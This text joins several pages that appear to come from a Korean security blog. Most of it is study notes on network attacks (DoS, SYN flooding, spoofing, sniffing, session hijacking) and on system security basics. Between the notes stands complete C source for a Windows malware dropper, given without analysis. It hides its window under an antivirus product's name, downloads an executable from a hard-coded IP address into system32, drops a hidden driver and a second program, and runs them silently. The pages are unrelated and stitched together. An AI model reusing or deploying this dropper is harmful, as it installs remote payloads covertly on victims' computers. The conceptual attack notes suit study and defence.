엉 끝단의 응용 프로세스가 통신을 관리하기 위한 방법을 제공한다. 세션 계층은 duplex 방식, half-duplex방식, full-duplex 방식의 통신과 함께, 체크 포인팅과 유휴, 종료, 다시 시작 과정들을 수행한다. 또한 TCP/IP 세션을 만들고 없애는 책임을 진다.

  • 표현 계층
표현계층은 코드간의 번역을 담당한다. 즉 사용자 시스템에서 데이터의 구조를 하나의 통일된 형식으로 표현함으로써, 응용 계층의 데이터 형식 차이로 인한 부담을 덜어준다.

  • 응용 프로그램 계층
사용자나 응용 프로그램 사이에 데이터의 교환이 가능하게 하는 계층으로, 응용 프로세스와 직접 관계하여 일반적인 응용 서비스를 수행한다.






서비스 거부(DoS)공격

서비스 거부공격(DoS : Denial Of Service)은 다른 해킹에 비해 비교적 간단한데, 쉽게 얘기하면 일종의 훼방이라고 볼수 있다.


  • 취약점 공격형
취약점 공격은 공격 대상이 특정 형태의 오류가 있는 네트워크 패킷의 처리 로직에 문제가 있을 때, 그 문제를 이용하여 공격 대상의 오동작을 유발시키는 형태의 공격이다.

<Boink, Bonk, TearDrop 공격>
이 공격들은 오류 제어 로직을 악용하여 시스템의 자원을 고갈시키는 공격이다. TCP 프로토콜은 데이터 전달의 유효성이나 효율성을 위해 시퀀스 넘버 기반의 오류 제어 방식을 사용하여 특정 연결의 유효성을 제어한다.
TCP는 신뢰성 있는 연결을 위해 다음의 기능을 제공한다.
-패킷의 순서가 올바른지 확인
-중간에 손실된 패킷은 없는지 확인
-손실된 패킷의 재전송 요구
위 공격들은 이를 이용한 공격으로 시스템의 패킷 재전송과 재조합에 과부하가 걸리도록 시퀀스넘버를 속인다.


<Land 공격>
패킷을 전송할떄 출발지 IP와 목적지 IP 주소값을 똑같이 만들어서 공격대상에게 보내는 것이다. 물론 이때 조작된 IP 주소값은 공격대상의 IP 주소여야 한다. 

이러한 패킷으 공격대상에 보내면 시스템은 공격자가 처음보낸 SYN패킷의 출발지 주소값을 참조하여 그 응답 패킷의 목적지 주소를 SYN 패킷의 출발지 주소로 설정하여 보내게 된다. 그런데 출발지 주소는 공격대상의 주소값이므로 패킷은 네트워크 밖으로 나가지않고 자신에게 되돌아온다. 결국 이 공격법은 SYN Flooding 처럼 동시 사용자 수를 점유해 버리고 CPU 부하를 올려서 시스템이 지치도록 만든다.

  • 자원고갈 공격형
<Ping of Death 공격>
Ping of Death 공격은 네트워크 연결상태를 점검하기 위한 ping 명령을 보낼때, 패킷을 최대한 길게 해 공격대상에게 보내면 패킷은 지나가는 네트워크의 특성에 따라 수백개에서 수천개의 패킷으로 나뉘어지게 된다. 따라서 결과적으로 공격 대상 시스템은 대량의 작은 패킷을 수신하게 되고, 네트워크는 마비 된다.

이를 예방하려면 ping이 내부 네트워크에 들어오지 못하도록 방화벽에서 ping 이 사용하는 프로토콜인 ICMP를 차단하는 방법을 사용한다.

<SYN Flooding 공격>
네트워크에서 서비스를 제공하는 시스템에는 동시 사용자 수의 제한이 있다. 이에 SYN Flooding 공격은 존재하지 않는 클라이언트가 서버별로 한정되어 있는 접속 가능한 공간에 접속한 것처럼 속여, 다른 사용자가 서버의 서비스를 제공받지 못하게 하는 것이다.

앞서 TCP에 대한 최초 연결시 클라이언트가 SYN패킷을 보내고 이를 받은 서버는 SYN+ACK 패킷을 보낸다 설명하였다. 마지막으로 클라이언트가 서버에 다시 ACK 패킷을 보내야 연결이 되는데, 보내지 않는다면 어떻게 될까? 
서버는 클라이언트가 ACK 패킷을 보내올떄까지 SYN Received 상태로 일정시간을 기다려야 하고, 그동안 공격자는 가상의 클라이언트로 위조한 SYN 패킷을 수없이 만들어 서버에 보냄으로 서버의 가용 동시 접속자 수를 모두 SYN Received 상태로 만들 수 있다. 이것이 SYN Flooding 공격의 기본 원리이다.
                                           //실제 동시 접속자수가 급증하여 접속자 폭주로도 마비가 되는 경우도 존재

대응책으로는 SYN Received의 대기 시간을 줄이는 방법으로 쉽게 해결 할 수 있다. 침입 방지 시스템(IPS)과 같은 보안 시스템을 통해서도 이러한 공격을 쉽게 차단할수 있다.


<HTTP GET Flooding 공격>

피공격 시스템에 TCP 3-Way HandShake 과정을 통해 정상적인 접속을 한뒤, 특정한 페이지를 HTTP의 GET Method를 통해 무한대로 실행하는 것이다.

공격 패킷을 수신하는 웹서버는 정상적인 TCP 세션과 함께 정상적으로 보이는 HTTP Get 요청을 지속적으로 요청하게 되므로, 시스템에 과부하가 걸린다.


<HTTP CC 공격>

HTTP 1.1 버전의 CC(Cache-Control) 헤더옵션은 자주 변경되는 데이터에 대해 새롭게 HTTP에 요청 및 응답을 요구하기 위하여 캐시 기능을 사용하지 않게 할수 있다. 서비스 거부 공격 기법에 이를 응용하기 위해 'Cache-Contril: no-store,must-revalidate' 옵션을 사용하면웹서버는 캐시를 사용하지 않고 응답해야 하므로 웹서비스의 부하가 증가하게 된다.


<동적 HTTP Request Flooding 공격>

HTTP Get Flooding 공격이나 HTTP CC 공격은 일반적으로 징정된 웹페이지를 지속적으로 요청하는 서비스 거부 공격이다. 그러나 이 둘은 방화벽을 통해 특징적인 HTTP 요청 패턴을 방어 할수 있다. 동적 HTTP Request Flooding 은 이러한 차단 기법을 우회하기 우해 지속적으로 요청 페이지를 변경하여 웹페이지를 요청하는 기법이다.


<Smurf 공격>

스머프 공격은 ICMP 패킷과 네트워크에 존재하는 임의의 시스템들을 이용하여 패킷을 확장시켜서 서비스 거부 공격을 수행하는 방법으로, 네트워크를 공격할 때 많이 사용된다.

이를 더 자세히 이해하려면 다이렉트 브로드캐스트(Direct Broadcast)를 알아야한다. 흔히 브로드캐스트는 목적지 ip 주소를 가지고 네트워크의 임의의 시스템에 패킷을 보내는 것이다. 이는 기본적으로 3계층장비, 즉 라우터를 넘어가지 못한다.

하지만 라우터를 넘어가야 하는 경우가 있는데 이런 경우 해당 네트워크에 있는 클아이언트의 IP주소 부분에 255를 채워서 원격지의 네트워크에 브로드캐스트 할수 있다. 이를 다이렉트 브로드 캐스트라 한다.

스머프 공격은 다이렉트 브로드 캐스트를 악용한 것으로 원격지의 네트워크에 다이렉트 브로드캐스트를 하면 해당 네트워크는 패킷의 위조된 시작 IP주소로 Reply를 보낸다. 결국 공격대상은 수많은 Reply를 받게 되고 Ping of Death 공격처럼 많은 패킷이 시스템을 과부하 상태로 만든다.

대응책으로는 라우터에서 다이렉트 브로드캐스트를 막는것이다.


<Mail Bomb 공격>

흔히 폭탄 메일 이라고 하는데, 스팸 메일과 같은 종류이다. 메일 서버는 각 사용자에게 일정한 양의 디스크 공간을 할당하는데, 메일이 폭주하여 디스크 공간을 가득 채우면 정작 받아야 하는 메일을 받을 수 없기 때문이다. 이런 이유로 스팸 메일은 Dos공격으로 분류된다.




분산서비스 거부 공격 ( DDoS : Distributed Denial Of Service)


DDOS 공격은 공격자가 한 지점에서 서비스 거부 공격을 수행하는 DOS 공격의 형태를 넘어 광범위한 네트워크를 이용하여 다수의 공격 지점에서 동시에 한곳을 공격하도록 하는 형태의 서비스 거부 공격이다.


  • 과거
일종의 자동화된 툴을 이용했으며, 광대한 공격 범위를 위해 최종 공격 대상 이외에도 공격을 증폭시켜주는 중간자의 역할이 필요했다.
-Attacker : 공격을 주도하는 해커의 컴퓨터
-Master : 공격자에게 직접 명령을 받는 시스템으로 여러대의 에이전트를 관리함
-Handler Program : 마스터 시스템의 역할을 수행하는 프로그램
-Agent : 공격대상에 직접 공격을 가하는 시스템
-Daemon Program : 에이전트 시스템의 역할을 수행하는 프로그램

  • 최근
최근의 DDOS 공격은 좀더 발전된 형태를 띄고 있다. 과거 형태의 경우 공격자가 상당한 시간을 두고 여러 시스템을 해킹하여 시스템에 마스터와 에이전트를 설치하고 공격 시에 해당 시스템에 공격명령을 내리는 형태였다. 시간도 오래걸리며 그 과정중에 ip 추적의 위험이 있었다. 

이런 이유로 최근에 발생하는 DDOS 공격은 악성코드와 결합하는 형태로 이뤄진다.
+ PC에서 전파가 가능한 형태의 악성코드를 작성한다.
+DDOS공격을 위해 사전에 공격대상과 스케줄을 정한뒤 이를 작성한 악성코드를 코딩한다.
+악성코드가 인터넷에 전파되면 감염된 PC 를 좀비PC라 부르며, 좀비 PC끼리 형성된 네트워크를 봇넷이라 한다.





스니핑 공격 (Sniffing Attack)

스피닝은 데이터 속에서 정보를 찾는 것이라 할수 있습니다. 스니핑 공격을 흔히 수동적 공격이라고도 하는데, 바로 공격할때 아무것도 하지않고 조용히 있는 것만으로도 충분하기 떄문입니다.


  • 스니핑의 원리
기본적으로 네트워크에 접속하는 모든시스템은 설정된 IP주소값과 고유한 MAC주소값을 가지고 있다. 통신을 할떄 이 두가지 주소값을 인식하고 자신의 버퍼에 저장할지 결정 한다. 다시 말해 네트워크카드에 인식된 2계층과 3계층 정보가 자신의 것과 일치하지 않는 패킷은 무시합니다.

스니핑을 수행하는 공격자는 자신에게 원래는 무시되어야 할 패킷을 무시하지 않는 것임으로 이러한 필터링을 해제하여야 하는데 이런 랜카드의 모드를 프러미스큐어스(Promiscuous)모드라 한다.

  • 스위치 재밍 공격
스위치에는 포트와 MAC 주소를 저장한 테이블이 존재한다. 스위치 재밍은 스위치가 MAC 주소 테이블을 기반으로 패킷을 포트에 스위칭할떄 정상적인 스위칭 기능을 마비시키는 공격을 말한다.

스위치에 랜덤한 형태로 생성한 MAC 주소를 가진 패킷을 무한대로 보내면 MAC테이블은 자연스레 저장 용량을 초과하게 되어, 스위치는 본래의 기능을 잃고 더미허브처럼 작동한다.

  • SPAN포트 태핑공격
SPAN은 스위치의 포트미러링 기능을 이용한 것으로 포트미러링이란 각 포트에 전송되는 데이터를 미러링하고 있는 포트에 똑같이 보내주는 것이다. SPAN포트는 기본적으로 네트워크 장비에서 간단한 설정으로 활성화 되지만, 포트 태핑은 하드웨어적인 장비를 이용한다.

  • 스니퍼의 탐지
스니핑공격은 네트워크에 별다른 이상 현상을 만들지 않기 때문에 사용자가 이를 인지하는 것이 어려워 능동적인 탐지를 통해서만 잡아낼수있다.

<PING 을 이용한 탐지>
대부분의 스니퍼는 일반 TCP/IP에서 동작하기에 Request를 받으면 Response를 전달한다. 이를 이용해 존재하지 않는 MAC주소를 위장하여 Ping을 보냈는데 ICMP Echo Reply를 받으면 해당 호스트가 스니핑을 하고 있는 것이다. 왜냐하면 존재하지 않는 MAC 주소를 사용했으므로 스니핑을 하지않는 호스트는 누구도 Ping Request 를 볼수 없는 것이 정상이기 때문이다.

<ARP를 이용한 탐지>
ping과 유사한 방법으로, 위조된 ARP Request를 보냈을 떄 ARP Response가 오면 프러미스큐어스 모드로 설정되어 있는 것이다.

<DNS를 이용한 탐지>
테스트 대상 네트워크로 Ping Sweep을 보내고 들어오는 Inverse-DNS lookup 을 감시하여 스니퍼를 탐지한다.

<Decoy를 이용한 탐지>
보안관리자는 가짜 ID와 Password를 네트워크에 뿌리고 공격자가 이 ID를 통하여 접속을 시도할때 스니퍼를 탐지한다.

<ARP Watch를 이용한 탐지>
ARP watch는 MAC 주소와 IP주소의 매칭 값을 초기에 저장하고 ARP 트래픽을 모니터링 하여, 이를 변하게 하는 패킷이 탐지되면 관리자에게 메일로 알려주는 툴이다.



스푸핑 공격 ( Spoofing Attack)


스푸핑의 사전적 의미는 '속이다'를 의미하며, 네트워크에서 스푸핑 대상은 MAC주소, IP주소 ,포트 등 네트워크 통신과 관련된 모든것이 될수 있다. 스푸핑 공격은 시스템 권한 얻기, 암호화된 세션 복호화하기, 네트워크 트래픽 흐름 바꾸기등 다양하게 사용 된다.


  • ARP 스푸핑 공격

ARP(Address Resolution Protocol)스푸핑은 MAC 주소를 속이는 것이다. 로컬에서 통신하고 있는 서버와 클라이언트의 IP 주소에 대한 MAC주소를 공격자의 MAC주소로 속임으로 상호간에 전달되는 패킷이 공격자에게 향하게 하여 랜의 통신 흐름을 왜곡 시킨다.

공격자는 서버와 클라이언트에게 본래의 IP에 해당하는 MAC주소 말고 가짜 MAC(공격자의) 주소를 알리므로 공격자에게 패킷이 전달이 된다.

윈도우에서는 arp -a 명령을 이용해 현재 인지하고 있는 IP와 해당 IP를 가지고 있는 시스템의 MAC주소 목록을 확인 할 수가 있으며 이를 ARP 테이블이라 한다.

ARP 스푸핑은 TCP/IP 프로토콜 자체의 문제로 근본적인 대책은 없다.



  • IP 스푸핑 공격

IP스푸핑은 쉽게 말해 IP 주소를 속이는 것으로, 다른이가 쓰는 IP를 강탈해 어떤 권한을 획득하는 것이다. 이는 트러스트 관계가 맺어져있는 서버와 클라이언트를 확인한후 클라이언트에 서비스 거부 공격을 하여 연결을 끊고, 공격자가 클라이언트의 IP주소를 확보하여 실제 클라이언트처럼 패스워드 없이 서버에 접근하는 것이다.


  • ICMP 리다이렉트 공격

ICMP리다이렉트는 3계층에서 스니핑 시스템을 네트워크에 존재하는 또 다른 라우터라고 알림으로써 패킷의 흐름을 바꾸는 공격이다.

가령 호스트A에 라우터A가 기본으로 설정되어 있을경우 호스트B에 보내기 위해서는 우선 라우터 A에 전달을 한후 라우터A보다 라우터 B에 가까울경우 호스트A에게 ICMP리다이렉트 패킷을 보내어 자신에게 돌아오지 않게끔한다. 호스트 A는 라우팅 테이블에 호스트 B에 대한 값을 추가하고 , 호스틑 B로 보내는 패킷은 라우터 B로 전달된다. 하지만 라우터B가 사실은 호스트였다면 지속적으로 패킷을 받을수가 있다.

간단히 말해 공격자를 라우터로 인지하고 데이터를 (공격대상이)보내는 것이다.


  • DNS스푸핑 공격

DNS스푸핑은 실제 DNS 서버보다 빨리 공격대상에게 DNS Respose 패킷을 보내 공격대상이 잘못된 IP주소로 웹접속을 하도록 유도하는 공격이다.

DNS패킷은 UDP패킷이므로 세션이 존재하지않으며 먼저 도착한 패킷을 신뢰하고 그 후에 온 패킷은 버린다. 보통 공격자는 로컬에 조냊하므로 지리적으로 DNS서버보다 가깝다. 따라서 DNS서버가 올바른 DNS Response 패킷을  보내주기 전에 클라이언트에게 위조된 DNS Response 패킷을 보낼수 있다.


세션 하이재킹 공격 ( Session Hijacking)


세션하이재킹은 '세션 가로채기'이다. 세션이 '사용자와 컴퓨터, 또는 두대의 컴퓨터 간의 활성화된 상태'이므로, 세션 하이재킹은 두 시스템 간 연결이 활성화 된 상태, 즉 로그인된 상태를 가로채는 것을 말한다.

TCP세션 하이재킹은 TCP가 가지는 고유한 취약점을 이용해 정상적인 접속을 빼앗는 방법이다. TCP는 서버와 클라이언트간 패킷의 연속성을 보장하기위해 각각 시퀀스 넘버를 사용한다. TCP 세션 하이재킹은 각각 잘못된 시퀀스 넘버를 위조해서 연결된 세션에 잠시 혼란을 준뒤 자신이 끼어들어가는 방식을 사용한다.

1. 클라이언트와 서버사이의 패킷을 통제한다. (ARP스푸핑등을 통해 통제)

2. 서버에 클라이언트 주소로 연결을 재설정하기 위한 RST(Reset)패킷을 보낸다. 서버는 클라이언트의 시퀀스 넘버가 재설정된것으로 판단하고, 다시 3-Way HandShaking을 수행한다.

3. 공격자는 클라이언트 대신 연결되어 있던 TCP 연결을 그대로 물려받는다.


세션 하이재킹을 막으려면 텔넷과 같은 취약한 프로토콜을 이용해서는 안되고 SSH와 같이 세션에 대한 인증수준이 높은 프로토콜을 이용해서 서버에 접속해야한다. 다른 대응책으로는 클라이언트와 서버간의 MAC주소를 고정시켜주는 것이다. MAC주소를 고정시키는 방법은 ARP 스푸핑을 막아주기때문에 결과적으로 세션하이재킹을 막을수 있다.


무선 네트워크 공격과 보안


기본적으로 무선랜은 Ethernet Like와 같은 개념으로, 보통 내부 네트워크의 확장으로 이용된다. 무선랜을 사용하려면 내부의 유선 네트워크에 AP(Access Point) 장비를 설치해야 한다.


AP보안

AP보호를 위한 첫번째 사항은 물리적 보호이다. AP도 스위치의 한 종류이므로 적절한 물리적인 통제가 필요하다. 또한 무선랜을 식별하기 위해 SSID를 사용한다. 해당 AP의 존재를 숨기고 싶을때 SSID 브로드캐스팅을 막고 사용자는 해당 AP에 접속하기 위해 SSID를 입력해야한다.


무선랜 통신 암호화 

<WEP의 암호화>

WEP는 무선랜 통신을 암호화 하는 가장 기본적인 방법이며 64비트와 128비트 암호화 방식을 사용하는데, 기본적으로 RC4 암호화 알고리즘을 사용한다. (보안성이 좋지않다)

<WPA & WPA-PSK의 암호화>

WPA/WPA2는 WEP의 보안 취약점이 드러난 이후 그 대안으로 나오게 되었다. WPA는 TKIP 알고리즘을 사용하며 기본적으로 WEP와 같은 RC4 키 스트림 암호화 알고리즘을 사용하지만 보안 강화를 위해 MIC라는 8바이트의 메세지 무결성 코드를 추가했고, IV 생성에서 새로운 배열 규칙을 적용했다.


'Study > Book' 카테고리의 다른 글

정보보안개론 0x06  (0) 2015.01.23
정보보안개론 0x05  (0) 2015.01.22
정보보안개론 0x04  (0) 2015.01.21
정보보안개론 0x03  (0) 2015.01.13
정보보안개론 0x01  (2) 2015.01.11

#include <windows.h>

#include <stdio.h>

#include <urlmon.h>

#include "afxres.h"

#pragma comment(lib,"urlmon.lib")

#define IDR_EXE1                        101

#define IDR_DRIVER1                     102


bool _util_decompress_file(char *theResourceName)

{

 HRSRC aResourceH;

 HGLOBAL aResourceHGlobal;

 unsigned char * aFilePtr;

 unsigned long aFileSize;

 HANDLE file_handle;

 char filename[64];

 char fPath[50] = "C:\\WINDOWS\\system32\\";


 aResourceH = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");

 if(!aResourceH)

 {

  return false;

 }

 aResourceHGlobal = LoadResource(NULL, aResourceH);

 if(!aResourceHGlobal)

 {

  return false;

 }

 aFileSize = SizeofResource(NULL, aResourceH);

 aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);

 if(!aFilePtr)

 {

  return false;

 }


 _snprintf(filename, 62, "%s", theResourceName);

 strcat(fPath,filename);

 file_handle = CreateFile(fPath,

        FILE_ALL_ACCESS,

        0,

        NULL,

        CREATE_ALWAYS,

        FILE_ATTRIBUTE_HIDDEN,

        NULL);

 if(INVALID_HANDLE_VALUE == file_handle)

 {

  int err = GetLastError();

   if( (ERROR_ALREADY_EXISTS ==err) || (32 == err) )

   {

    return true;

   }

   return false;

 }


 while(aFileSize--)

 {

  unsigned long numWritten;

  WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL);

  aFilePtr++;

 }

 CloseHandle(file_handle);

 return true;

}


bool _util_decompress_sysfile(char *theResourceName)

{

 HRSRC aResourceH;

 HGLOBAL aResourceHGlobal;

 unsigned char * aFilePtr;

 unsigned long aFileSize;

 HANDLE file_handle;

 char filename[64];

 char fPath[50] = "C:\\WINDOWS\\system32\\drivers\\";


 aResourceH = FindResource(NULL,MAKEINTRESOURCE(IDR_DRIVER1),"driver");


 if(!aResourceH)

 {

  return false;

 }

 aResourceHGlobal = LoadResource(NULL, aResourceH);

 if(!aResourceHGlobal)

 {

  return false;

 }

 aFileSize = SizeofResource(NULL, aResourceH);

 aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);

 if(!aFilePtr)

 {

  return false;

 }


 _snprintf(filename, 62, "%s", theResourceName);

 strcat(fPath,filename);

 file_handle = CreateFile(fPath,

        FILE_ALL_ACCESS,

        0,

        NULL,

        CREATE_ALWAYS,

        FILE_ATTRIBUTE_HIDDEN,

        NULL);

 if(INVALID_HANDLE_VALUE == file_handle)

 {

  int err = GetLastError();

   if( (ERROR_ALREADY_EXISTS ==err) || (32 == err) )

   {

    return true;

   }

   return false;

 }


 while(aFileSize--)

 {

  unsigned long numWritten;

  WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL);

  aFilePtr++;

 }

 CloseHandle(file_handle);

 return true;

}


void main()

{

 


 HWND hwnd;

 char ALYac[10] = "ALYac";

 SetConsoleTitle(ALYac);

 hwnd = FindWindow(NULL,ALYac);

 ShowWindow(hwnd,SW_HIDE);


 

 char Path[100] = "http://124.197.133.42/board/upload/ipv4.exe";

 char File[100] = "C:\\WINDOWS\\system32\\ipv4.exe";


 Sleep(1);

 

 HRESULT hr1 = URLDownloadToFile(0,Path,File,0,NULL);

 

 if(SUCCEEDED(hr1))

 {

 _util_decompress_sysfile("https.sys");

 _util_decompress_file("diskfind.exe");


 ShellExecute(NULL,"open","ipv4.exe",NULL,"C:\\WINDOWS\\system32",SW_HIDE);

 ShellExecute(NULL,"open","diskfind.exe",NULL,"C:\\WINDOWS\\system32",SW_HIDE);

 }


 else

 {

  ExitProcess(0);

 }

}



'Reversing > Malware Analysis' 카테고리의 다른 글

Nethost.exe분석  (1) 2015.11.26
server.exe 분석  (0) 2015.10.05
Morris Worm Source Code  (0) 2015.02.17
Rejoice와 서버파일 분석(정적)  (0) 2015.01.15
Rejoice와 서버파일 분석(초기,동적)  (0) 2015.01.15

정보보안개론 0x01

Kail-KM
|2015. 1. 11. 03:52

System Security


시스템이란?

        필요한 기능을 실현하기 위해 관련 요소를 어떤 법칙에  따라 조합한 집합체를 말한다.


시스템 보안은 권한 없는 사용자에 의한 파일, 폴더 및 장치 등의 사용을 제한하여 보호하는 시스템 기능을 말한다.


시스템 관련한 보안기능의 6가지 주제

  • 계정과 패스워드 관리
적절한 권한을 가진 사용자를 식별하기 위한 가장 기본적인 인증 수단
  • 세션 관리
사용자와 시스템 또는 두 시스템 간의 활성화된 접속에 대한 관리
  • 접근 제어
시스템이 네트워크 안에서 다른 시스템으로부터 적절히 보호될수 있도록 네트워크관점에서 접근을 통제
  • 권한 관리
시스템의 각 사용자가 적절한 권한으로 적절한 정보 자산에 접근할수 있도록 통제
  • 로그 관리
시스템 내부나 네트워크를 통한 외부에서 시스템에 어떤 영향을 미칠 경우 해당 사항을 기록
  • 취약점 관리
시스템자체의 결함에 의한 것으로 이를 체계적으로 관리하는 것이 취약점 관리이다.





계정과 패스워드 관리


어떤 시스템에 로그인을 하려면 먼저 자신이 누군지를 알려야 하는데 이를 식별과정이라 합니다.

아이디만으로는 정확한 식별이 어렵기때문에 로그인을 허용하기 위한 확인, 즉 인증을 위한 패스워드를 요청


  • 운영체제의 계정관리

하나의 계정은 위에서 말한바와 같이 식별과 인증으로 접근을 허용 받을수 있다. 운영체제는 시스템을 구성하고 운영하는 가장 기본이므로 운영체제에 대한 권한을 갖는 것은 해당시스템에서 동작하는 다른 응용 프로그램에 대해서도 어느정도의 권한을 갖는 것을 의미한다.

<윈도우의 계정관리>

net localgroup administrators 명령을 사용해 관리자 그룹에 속하는 계정을 확인할수 있다.

(일반 사용자 확인하려면 net users)


//운영체제의 계정관리에서 고려할 또 한가지는 바로 그룹이다.

//윈도우의 주요그룹//

Administrators : 대표적인 관리자 그룹으로 윈도우 시스템의 모든 권한을 가지고 있다.

Power Users : 로컬 컴퓨터에서만 관리를 할수 있는 능력을 가지며, 밖의 네트워크에선 일반사용자이다.

Backup Operators : 윈도우 시스템에서 시스템 파일을 백업하는 권한을 가지고 있다.

Users : 일반사용자가 속하는 기본 그룹으로 네트워크를 통해 서버나 다른도메인 구성요소에 로그인 가능

Guests : 윈도우 시스템에서 Users 그룹과 같은 권한을 가진다.


<유닉스의 계정관리>

유닉스에서 관리자 권한을 UID와 GID로 식별합니다. 관리자 ROOT는 UID와 GID가 둘다 0 이다.

/etc/passwd 를 통하여 사용자를 확인할수 있습니다. 그룹의 경우 /etc/group를 통해 확인이 가능합니다.

계정이 보안상 문제가 되는 경우는 '계정을 가지고 있을 필요가 없는 사람이 가지는 경우뿐' 입니다. 그러므로 적절한 승인절차와 지속적인 관리가 필요하다 할수 있습니다.


  • 데이터 베이스의 계정관리

데이터베이스도 운영체제처럼 계정이 존재하며, 운영체제와 데이터베이스의 계정이 완전히 별도로 존재하기도 하지만, 일반적으로 운영체제 계정을 이용하여 데이터 베이스에 접근할 수 있다.

MS-SQL의 관리자 계정은 sa 이고 오라클의 경우 sys와 system 입니다.

불필요한 경우에는 잠금상태로 바꾸고, 그렇지 않은 경우에는 패스워드를 적절히 바꿔야 한다.


  • 응용프로그램의 계정관리

FTP와 웹서비스와 같은 응용프로그램 역시 고유의 계정을 갖기도 하고, 운영체제와 계정을 공유하기도 합니다. 운영체제와 응용프로그램의 계정이 다른 경우 응용 프로그램의 계정을 소홀히 하는 경우가 있는데 이는 보안상의 위협이 될때가 있다. 그 이유는 취약한 응용 프로그램을 통해 공격자는 운영체제에 접근해서 민감한 정보를 습득하여 운영체제를 공격하는데 이용할수 있기 때문이다.


  • 네트워크 장비의 계정 관리

네트워크 장비도 계정을 생성하여 각 계정으로 사용 할수 있는 명령어 집합을 제한 할수 있다.

  • 패스둬드관리

단순한 패스워드는 사용하지 않아야 한다.




세션 관리


세션의 의미를 한번 다시 짚고 넘어가본다면, 앞에서 말한바와 같이 '사용자와 컴퓨터 또는 두 컴퓨터 간의 활성화된 접속을 의미합니다.


컴퓨터에서 세션을 유지하기 위한 보안사항은 두가지입니다.

  1. 세션 하이재킹이나 네트워크 패킷 스니핑에 대응하기 위해 암호화를 하는 것
  2. 세션에 대한 지속적인 인증(Continuous Authentication)을 하는것 입니다.
                                                                          //1번의 경우 추후에 살펴볼것이며 2번의 경우를 살펴보자

세션에 대한 지속적인 인증

사용자가 인증절차를 통하여 시스템에 접근하는데 성공히였을 경우, 얼마후 같은 아이디로 접근하는 사용자는 처음에 인증에 성공했던 사용자가 맞는지 재인증을 하여야합니다. 하지만 명령 하나마다 이렇게 인증을 할수가 없기에 시스템에서는 이러한 문제를 세션에 대힌 타임아웃설정으로 보완 하고 있습니다.


  • 윈도에의 화면 보호기(다시 시작할때 로그온 화면 표시)
  • 리눅스에서는 일반적으로 /etc/default/login 이나 /etc/profile 에 타임 아웃 값을 명시적으로 설정
  • 데이터베이스의 경우 세션에 대한 타임아웃을 적용하지 않는다(대부분 시스템 간의 세션이기에).
  • 웹서비스를 이용할때도 '지속적인 인증'은 적용된다. 인터넷뱅킹을 할떄 공인인증서 등등



접근 제어 (Access Control)


접근제어는 적절한 권한을 가진 인가자만 특정 시스템이나 정보에 접근할수 있도록 통제하는 것으로 시스템의 보안수준을 갖추기 위한 가장 기본적인 수단이며 시스템 및 네트워크에 대한 접근 제어의 가장 기본적은 수단은 IP와 서비스 포트입니다.


  • 운영체제의 접근 제어

일반적으로 운영체제에 대한 접근 제어를 언급하면, 윈도우의 경우 터미널서비스를 생각하고 유닉스의 경우 텔넷이나 SSH에 대한 접근 제어를 생각합니다. 하지만 이에 대한 접근 제어를 수행하는 것만으로 운영체제에 대한 접근제어를 모두 수행했다고 생각하면 안됩니다. 운영체제에 대한 적절한 접근 제어를 수행하기 위해서는 가장 먼저 운영체제에 어떤 관리 인터페이스가 운영되고 있는지를 파악해야 합니다.


일반적 사용 관리 인터페이스

운영체제



서비스 이름 

사용 포트  

특징 

텔넷 

23 

암호화 되지 않음 

SSH 

22 

 SFTP가능

XDMCP 

6000 

유닉스용 GUI(Xmanager) 

FTP 

21 

파일전송 서비스 

윈도우 


터미널 서비스  

3389 

포트변경가능 

GUI 관리용 툴 

VNC,Radmin 등 

텔넷은 암호화 되지 않은 세션을 제공하며, FTP 또한 스니핑을 토해 접근 아이디와 패스워드를 획득할수 있으므로 가능하면 SSH나 XDMCP를 사용하는 것이 좋다.


운영체제에 대한 접근 목적의 인터페이스를 결정했다면, 이제 접근제어 정책을 적용해야합니다. 시스템에 대한 접근제어 정책은 기본적으로 IP를 통해 수행합니다. 유닉스의 SSH,FTP등은 TCPWrapper을 통해 접근제어가 가능 합니다.

TCPWrapper가 설치되면 inetd 슈퍼데몬은 연결을 TCPWrapper의 tcpd 데몬에 넘겨준다. tcpd데몬은 접속을 요구한 클라이언트에 적절한 접근권한이 있는지 확인후 해당 데몬에 연결을 넘겨주며 이떄 연결에 대한 로그도 실시 할수 있다.


  • 데이터베이스의 접근 제어

데이터베이스는 조직의 영업이나 운영정보를 담고 있는 핵심 응용프로그램으로, 데이터베이스에 대한 적절한 접근 제어는 필수적이다. 오라클의 경우 허용ip와 차단ip를 설정할수가 있으며 MS-SQL은 윈도우의 다른 서비스처럼 설치된 방화벽을 통해 ip접근 제어를 수행해야 한다. MS-SQL에서는 윈도우 인증모드와 함께 SQL인증을 모두 사용할수 있는 혼합인증모드도 지원한다.


  • 응용프로그램의 접근 제어

응용프로그램에 따라 접근제어를 제공하는 경우도 있고  그렇지 않은 경우도 있다. 하지만 최근의 상용 응용프로그램의 경우 IP에 대한 접근제어를 제공하는 경우가 많다.


  • 네트워크 장비의 접근 제어

네트워크 장비도 ip에 대한 접근제어가 가능하다.



권한 관리


  • 운영체제의 권한관리

<윈도우의 권한 권리>

윈도우는 NTFS(New Technology File System)을 기본 파일 시스템으로 사용한다.

모든 권한,수정,읽기 및 실행, 디렉터리 내용보기, 읽기, 쓰기


위의 권한은 다음과 같은 규칙이 적용된다.

규칙1 : 접근권한은 누적된다.

개별사용자가 여러 그룹에 속하면 특정 파일이나 디렉터리에 대한 접근 권한이 누적 된다.

규칙2 : 파일에 대한 접근 권한이 디렉터리에 대한 접근 권한보다 우선한다.

디렉터리의 권한 설정보다 파일에 대한 권한 설정이 우선한다

규칙 3 : '허용'보다 '거부'가 우선한다.

허용권한없음이 거부를 의미하지 않으며, 중첩되는 권한중 명백한 거부가 설정되어 있으면 허용보다 거부가 우선하여 적용된다.

<유닉스의 권한 권리>

drwxrwxrwx 117 root root

첫번째 인자의 경우 파일의 종류와 권한으로 나타난다.

첫번째 root의 경우 파일에 대한 소유자이며, 두번쨰 root의 경우 파일에 대한 그룹이다.


  • 데이터베이스의 권한관리

<질의문에 대한 권한 관리>

데이터베이스에 대한 권한을 관리하려면 먼저 데이터베이스에서 사용하는 질의문(Query)을 알아야 한다.

DDL (Data Definition Language) : 데이터 구조를 정의하는 질의문

DML(Data Manipulation Language) : 데이터베이스의 운영 및 사용과 관련해 가장 많이 사용하는 질의문이며 데이터의 검색과 수정들을 처리한다.

